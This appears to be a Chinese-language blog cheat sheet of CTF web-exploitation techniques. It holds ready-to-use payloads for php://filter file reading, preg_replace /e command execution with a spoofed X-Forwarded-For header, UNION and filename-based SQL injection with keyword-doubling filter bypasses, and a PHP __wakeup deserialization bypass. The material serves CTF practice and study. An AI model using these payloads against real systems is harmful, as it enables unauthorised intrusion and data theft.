CTF Skills Summary
2024-04-21 01:53:28

任意文件读取

 http://xxxxxx/index.php?page=index
类似于这样的链接,应该直接想到任意文件读取
page=php://filter/read=convert.base64-encode/resource=index.php
实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}

看到这样的代码我们可以这样构造payload:
在HTTP头添加:
X-Forwarded-For:127.0.0.1
/index.php?pat=/a/e&rep=system(‘ls’)&sub=a
从而爆出文件列
/index.php?pat=/a/e&rep=system(‘ls+文件名’)&sub=a
从而爆出该文件下的文件名
/index.php?pat=/a/e&rep=system(‘ls+文件名/文件名’)&sub=a

command_execution(命令执行)

image.png
!image.png
image.png

SQL注入

爆库(xxxx,爆表(xxx,爆列(xx,爆值(x

1
2
3
4
5
6
1' union select 1,1,database() #
1' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema=database() #
1' union select 1,1,group_concat(column_name) from information_schema.column where tabele_name=' xxx' #
1' union select 1,1,xx from xxxx.xxx #
or
1'union select 1,1,group_concat(xx) from xxx #

文件上传

后缀名可改为:php5
一句话可以写为:

LFI漏洞的黑盒判断方法

单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。

SQL与文件上传

典型的2015RCTF题型 打着文件上传的幌子,实际上是SQL注入,注入方式也很特别,所以当我们拿到文件上传想关题目,什么姿势都试过了,却拿不到flag,这个时候可以换个方式,找找注入点,一般注入点在filename,payload如下:

爆库

1
2
'+(selselectect CONV(substr(hex(database()),1,12),16,10))+'.jpg
(16=>10=>hex=>)
1
2
'+(selselectect CONV(substr(hex(database()),13,12),16,10))+'.jpg
(16=>10=>hex=>)

爆表名

1
2
3
4
5
6
'+(seleselectct CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg

'+(seleselectct CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg

'+(seleselectct CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg

爆列名

1
2
3
4
'+(seleselectct CONV(substr(hex((selselectect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg

'+(seleselectct CONV(substr(hex((selselectect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg

爆值

1
2
3
4
5
6
'+(selselectect CONV(substr(hex((seleselectct i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

'+(selselectect CONV(substr(hex((seleselectct i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg

'+(selselectect CONV(substr(hex((seleselectct i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg

类似于这样的题目都是骚题目,所以flag肯定不会一下就出来,每次只会 出来一部分,所以需要我们迂回注入
即为修改一下substr的起始位置参数,看看后边还有没有
当然根据情况而定,如果一次性爆出来就不需要迂回了

扫描

robots.txt

robot:在这个文件中网站管理者可以声明该网站中不想被搜索引擎访问的部分,或者指定搜索引擎只收录指定的内容。

当拿到一个网站,在找不到突破口的情况下,可以尝试robots.txt,看看有没有新发现

dirsearch

也可以使用dirsearch进行扫描,Linux下惯用语法:

1
sudo ./dirsearch.py -u url -e *

魔术方法__wakeup绕过

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
eg:
O:4:”xctf”:1:{s:4:”flag”;s:3:”111”;}
把 1改为大于它的数即可

Prev
2024-04-21 01:53:28
Next